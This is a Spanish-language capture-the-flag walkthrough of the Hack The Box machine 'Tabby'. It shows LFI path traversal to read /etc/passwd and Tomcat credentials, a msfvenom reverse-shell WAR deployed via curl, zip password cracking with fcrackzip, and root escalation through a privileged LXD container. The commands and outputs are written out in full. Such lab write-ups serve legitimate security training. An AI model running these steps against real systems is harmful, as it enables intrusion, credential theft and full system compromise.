En Tabby descubrimos una vulnerabilidad LFI y, que con DotDotPwn logramos obtener la direccion o payload para leer documentos lo que nos llevo a leer las credenciales de Tomcat, con este ultimo logramos subir un Payload para obtener una shell inversa utilizando Curl. Crackeamos con Fcrackzip un archiv zip lo que nos dio acceso a un segundo usuario. Escalamos privilegios creando un contenedor privilegiado utilizando LXC.
Nombre |
Tabby |
OS |
Linux |
Puntos |
20 |
Dificultad |
Facil |
IP |
10.10.10.194 |
Maker |
egre55 |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[6.9, 6.5, 6.4, 3.6, 3.5],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[8, 9, 9, 1, 1],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto http tomcat (8080), http (80) y el puerto ssh (22) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# Nmap 7.80 scan initiated Thu Sep 24 01:03:09 2020 as: nmap -p- --min-rate 1000 -o allports 10.10.10.194
Warning: 10.10.10.194 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.194 (10.10.10.194)
Host is up (0.13s latency).
Not shown: 64652 closed ports, 880 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
# Nmap done at Thu Sep 24 01:05:44 2020 -- 1 IP address (1 host up) scanned in 154.47 seconds
# Nmap 7.80 scan initiated Thu Sep 24 01:06:26 2020 as: nmap -p22,80,8080 -sC -sV -o serviceports 10.10.10.194
Nmap scan report for 10.10.10.194 (10.10.10.194)
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 24 01:06:41 2020 -- 1 IP address (1 host up) scanned in 15.55 seconds
|
HTTP
Encontramos una pagina web en el puerto 80 que ofrece servicios de hosting.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
6
7
8
9
|
kali@kali:~/htb/tabby$ gobuster dir -u http://10.10.10.194/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/assets (Status: 301)
/favicon.ico (Status: 200)
/files (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/news.php (Status: 200)
/Readme.txt (Status: 200)
/server-status (Status: 403)
|
Las direcciones que encontramos no tienen algo que nos pudiera ayudar pero, al revisar el codigo fuente de la pagina principal vemos que el boton News
en el nav, nos redirige hacia otra pagina con el dominio megahosting.htb
el cual agregamos a nuestro archivo /etc/hosts
a la IP de la maquina. Regresamos nuevamente a la pagina y vemos que la URL se le pasa un archivo (?file=statement
), posiblemente tenga una vulnerabilidad de LFI.
DOTDOTPWN - LFI
Utilizamos la herramienta dotdotpwn la cual nos ayudo a identificar la vulnerabilidad LFI en la pagina.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
kali@kali:~/htb/tabby$ dotdotpwn -m http-url -u http://megahosting.htb/news.php?file=TRAVERSAL -k "root:" -t .2 -q
#################################################################################
# #
# CubilFelino Chatsubo #
# Security Research Lab and [(in)Security Dark] Labs #
# chr1x.sectester.net chatsubo-labs.blogspot.com #
# #
# pr0udly present: #
# #
# ________ __ ________ __ __________ #
# \______ \ ____ _/ |_\______ \ ____ _/ |_\______ \__ _ __ ____ #
# | | \ / _ \\ __\| | \ / _ \\ __\| ___/\ \/ \/ // \ #
# | ` \( <_> )| | | ` \( <_> )| | | | \ /| | \ #
# /_______ / \____/ |__| /_______ / \____/ |__| |____| \/\_/ |___| / #
# \/ \/ \/ #
# - DotDotPwn v3.0.2 - #
# The Directory Traversal Fuzzer #
# http://dotdotpwn.sectester.net #
# dotdotpwn@sectester.net #
# #
# by chr1x & nitr0us #
#################################################################################
[+] Report name: Reports/megahosting.htb_09-24-2020_01-28.txt
[========== TARGET INFORMATION ==========]
[+] Hostname: megahosting.htb
[+] Protocol: http
[+] Port: 80
[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Multiplying 6 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Adapting the filenames according to the OS type detected (unix)
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 11028
[=========== TESTING RESULTS ============]
[+] Ready to launch 5000.00 traversals per second
[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)
[+] Replacing "TRAVERSAL" with the traversals created and sending
.
[*] Testing URL: http://megahosting.htb/news.php?file=../../../../etc/passwd <- VULNERABLE
[*] Testing URL: http://megahosting.htb/news.php?file=../../../../../etc/passwd <- VULNERABLE
[*] Testing URL: http://megahosting.htb/news.php?file=../../../../../../etc/passwd <- VULNERABLE
. .
[*] Testing URL: http://megahosting.htb/news.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd <- VULNERABLE
[*] Testing URL: http://megahosting.htb/news.php?file=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd <- VULNERABLE
[*] Testing URL: http://megahosting.htb/news.php?file=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd <- VULNERABLE
. ^C
[+] Total Traversals found: 6
[-] Fuzz testing aborted
[+] Report saved: Reports/megahosting.htb_09-24-2020_01-28.txt
|
Vemos la lista de usuarios que podriamos utilizar posteriormente.
Además de ello logramos obtener el codigo fuente de la pagina vulnerable:
1
2
3
4
5
6
7
8
|
<?php
$file = $_GET['file'];
$fh = fopen("files/$file","r");
while ($line = fgets($fh)) {
echo($line);
}
fclose($fh);
?>
|
Realizamos una busqueda de archivos conocidos de linux por posibles contraseñas o configuraciones para ingresar pero no encontramos nada.
HTTP - PUERTO 8080
Encontramos una pagina web en el puerto 8080 en Apache Tomcat, donde vemos un mensaje que indica que Tomcat se instalo satisfactoriamente y muestran algunas direcciones de la maquina, pero lo interesante es la nota que dejan.
Indica que los usuarios estan “definidos” en la direccion /etc/tomcat9/tomcat-users.xml
.
1
|
NOTE: For security reasons, using the manager webapp is restricted to users with role "manager-gui". The host-manager webapp is restricted to users with role "admin-gui". Users are defined in /etc/tomcat9/tomcat-users.xml.
|
Y tambien algunas variables que son necesarias para tomcat, como CATALINA_HOME y CATALINA_BASE:
1
|
Tomcat veterans might be pleased to learn that this system instance of Tomcat is installed with CATALINA_HOME in /usr/share/tomcat9 and CATALINA_BASE in /var/lib/tomcat9, following the rules from /usr/share/doc/tomcat9-common/RUNNING.txt.gz.
|
Al utilizar tal direccion en la pagina con vulnerabilidad LFI no resulto, aunque el archivo RUNNING.txt.gz
es posible obtenerlo pero no de forma completa. Por lo que instalamos tomcat9
en nuestra maquina para verificar que archivos son los que se pueden encontrar en tales carpetas. Vemos que existen algunos archivos dentro de la carpeta /usr/share/tomcat9/
en los cuales al pasarlo en la pagina vulnerable podemos leerlo, incluyendo el archivo tomcat-users.xml
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
kali@kali:~/htb/tabby$ tree /usr/share/tomcat9/
/usr/share/tomcat9/
├── bin
│ ├── bootstrap.jar
│ │ [... REDACTED ...]
├── default.template
├── etc
│ ├── catalina.properties
│ ├── context.xml
│ ├── jaspic-providers.xml
│ ├── logging.properties
│ ├── server.xml
│ ├── tomcat-users.xml
│ └── web.xml
├── lib
│ ├── annotations-api.jar -> ../../java/tomcat9-annotations-api.jar
│ [... REDACTED ...]
└── logrotate.template
3 directories, 48 files
|
Encontramos un usuario y contraseña en http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
el cual tiene los roles admin-gui y manager-script
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?xml version="1.0" encoding="UTF-8"?>
[... REDACTED ...]
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
[... REDACTED ...]
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
|
Intentamos ingresar con las credenciales al panel pero recordemos que en el mensaje del index indica que los usuarios con roles admin-gui
no tienen acceso al panel de /manager
Intentamos en /host-manager/html
donde logramos ingresar, mas no logramos hacer nada.
TOMCAT - USER
Intentamos utilizar el exploit tomcat_mgr_upload de metasploit pero este mostraba errores ya que la pagina /manager
esta “desactivada”, exploramos otras opciones y encontramos Tomcat exploit variant : host-manager pero este solo funciona en maquinas Windows. Investigamos un poco sobre como se sube estos archivos (.war) y encontramos que es posible subir estos mediante curl
utilizando las credenciales y un archivo .war
sin necesidad de acceder al GUI de la aplicacion.
Para ello vamos a tener que crear un payload como en la maquina THM/BSIDESGT - THOMPSON y poner a la escucha metasploit:
1
|
msfvenom -p java/jsp_shell_reverse_tcp LHOST=tun0 LPORT=1338 -f war > batman.war
|
Y realizamos el deploy de nuestro archivo:
1
|
curl --upload-file batman.war --user 'tomcat:$3cureP4s5w0rd123!' "http://10.10.10.194:8080/manager/text/deploy?path=/batman&update=True"
|
Ponemos a la escucha metasploit o netcat en el puerto indicado en el payload y ejecutamos nuestra “applicacion” o batman.war
visitando la siguiente url:
1
|
curl --user 'tomcat:$3cureP4s5w0rd123!' http://10.10.10.194:8080/batman
|
Logramos obtener una shell con usuario tomcat
.
ASH - USER
En el directorio /var/www/html/files
encontramos un archivo zip el cual esta protegido con contraseña, utilizamos fcrackzip
para obtener la contraseña y el contenido de este archivo.
1
2
3
4
5
6
7
8
9
10
|
tomcat@tabby:/var/www/html/files$ ls -lah
ls -lah
total 36K
drwxr-xr-x 4 ash ash 4.0K Jun 17 21:59 .
drwxr-xr-x 4 root root 4.0K Jun 17 16:24 ..
-rw-r--r-- 1 ash ash 8.6K Jun 16 13:42 16162020_backup.zip
drwxr-xr-x 2 root root 4.0K Jun 16 20:13 archive
drwxr-xr-x 2 root root 4.0K Jun 16 20:13 revoked_certs
-rw-r--r-- 1 root root 6.4K Jun 16 11:25 statement
tomcat@tabby:/var/www/html/files$
|
Aunque encontramos la contraseña, al descomprimir el archivo no logramos leer alguna credencial dentro de los archivos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
kali@kali:~/htb/tabby$ fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip
PASSWORD FOUND!!!!: pw == admin@it
kali@kali:~/htb/tabby$ tree var/
var/
└── www
└── html
├── assets
├── favicon.ico
├── files
├── index.php
├── logo.png
├── news.php
└── Readme.txt
4 directories, 5 files
kali@kali:~/htb/tabby$
|
Utilizamos la contraseña del archivo comprimido que encontramos con el usuario ash
en la maquina y logramos obtener una shell con este usuario y nuestra flag user.txt
.
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion con id
y vemos que el usuario pertenece al grupo de lxd
.
1
2
3
4
|
ash@tabby:~$ id
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
ash@tabby:~$
|
Ya que este usuario pertenece a este grupo (lxd) vamos a escalar privilegios a traves de este al igual que en las maquinas presentadas en THM - LXD.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#LOCAL
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine -a i686
#MACHINE
lxc image import ./alpine-v3.12-i686-20200924_0424.tar.gz --alias myimage
lxc image list
#Si no funcionan los comandos --> lxd init
lxc init myimage sckull -c security.privileged=true
lxc config device add sckull mydevice disk source=/ path=/mnt/root recursive=true
lxc start sckull
lxc exec sckull /bin/sh
|
Logramos obtener una shell root y nuestra flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
ash@tabby:~$ lxc image import ./alpine-v3.12-i686-20200924_0424.tar.gz --alias myimage
<ine-v3.12-i686-20200924_0424.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04
ash@tabby:~$ lxc image list
lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| myimage | 850be888e99a | no | alpine v3.12 (20200924_04:24) | i686 | CONTAINER | 3.07MB | Sep 24, 2020 at 8:40am (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
ash@tabby:~$ lxc init myimage sckull -c security.privileged=true
lxc init myimage sckull -c security.privileged=true
Creating sckull
ash@tabby:~$ lxc config device add sckull mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to sckull
ash@tabby:~$ lxc start sckull
lxc start sckull
ash@tabby:~$ lxc exec sckull /bin/sh
lxc exec sckull /bin/sh
~ # whoami
whoami
root
|